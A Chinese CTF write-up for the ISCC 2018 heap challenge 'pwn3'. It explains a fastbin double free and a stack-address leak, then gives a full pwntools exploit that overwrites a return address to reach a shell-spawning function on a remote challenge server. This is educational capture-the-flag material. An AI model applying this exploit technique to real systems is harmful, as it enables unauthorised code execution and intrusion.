180509 Pwn-ISCC(Pwn2)

写作Pwn3读作Pwn2 23333
打开pwn3反编译,发现菜单,很明显是堆的题目了
看了一下在free的时候没有清空指针,造成野指针
以我浅薄的知识猜想是double free吧

参考ctf-wiki的fastbin-attack
主要漏洞在于通过fastbin管理堆的情况下,在free时仅会检查链表头部(即main_arena指向)的chunk

第一次释放free(chunk1)
这里写图片描述
第二次释放free(chunk2)
这里写图片描述
第三次释放free(chunk1)
这里写图片描述

这里第三次free(chunk1)后尾部的chunk1的next也指向了chunk2,甚至当重新malloc的时候分配了chunk1的内存,导致chunk1的next事实上可写。
当第四次malloc(即本该由于fastbin管理的链表为空,导致重新向系统申请内存的时候),可以申请到指定的地址,从而创造出任意地址写任意值的情况

另一边,在main函数中由于是死循环,所以没有什么可以操作的余地
但在3的选项中存在一个secret函数,其中与main看起来一致,实际上却可以return导致执行流的劫持

函数列表中存在一个没有调用的gg函数可以getshell,因此思路就是通过double free来写栈上的返回地址,将执行流劫持到gg上来getshell

这样还有一个问题就是栈的地址,虽然get_num函数中对input的长度做了限制,但是输出的时候却没有。当input的值恰好为48填满栈时,输出将会把栈底保存的ebp也打印出来,直到遇到ebp的\x00截断位置,从而得到栈的地址,经过计算即可准确找到返回地址的地址

原题https://github.com/mhzx020/Redirect#redirect的exp:

from pwn import *

shell_addr = 0x400943

context.timeout = 50

#p = process('./pwn3')
p = remote('47.104.16.75',8999)
#gdb.attach(p, 'b * 0x400923')

# leak stack address
p.recvuntil('paper\n')
p.sendline('a'*48*3)
data = p.recvuntil('\x7f')
leak_stack = data[-6:] + '\x00\x00'
leak_stack_addr = u64(leak_stack)
print hex(leak_stack_addr)

def add_paper(p, index, length, contents):
    p.sendline('1')
    p.sendline(str(index))
    p.sendline(str(length))
    p.sendline(contents)

def del_paper(p, index):
    p.sendline('2')
    p.sendline(str(index))

# fastbin double free
add_paper(p, 1, 32, 'a'*32)
add_paper(p, 2, 32, 'a'*32)

del_paper(p, 1)
del_paper(p, 2)
del_paper(p, 1)

# build fake chunk
p.recvuntil('paper\n')
p.sendline('3')
p.recvuntil('number:')
p.sendline('48')

add_paper(p, 1, 32, p64(leak_stack_addr+96))
add_paper(p, 2, 32, 'a'*32)
add_paper(p, 2, 32, 'a'*32)
add_paper(p, 2, 32, 'a'*8 + p64(shell_addr))

p.recvrepeat(1)
p.sendline('3')

p.interactive()

然而实际运行中还有两个问题:
1. 原exp中使用了'a'*48*3的输入来泄露栈的地址,但是实际上在本地只需要48个输入即可暴露出栈的地址,而服务器端前两次都不会输出栈的地址,只有第三次才会输出,很奇妙
2. 同样的exp在几个队友的机子上跑有的很正常有的会间歇性报SIGABORT的错误有的甚至根本拿不到shell……奇妙到爆炸
萌新表示pwn太玄学了OTZ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值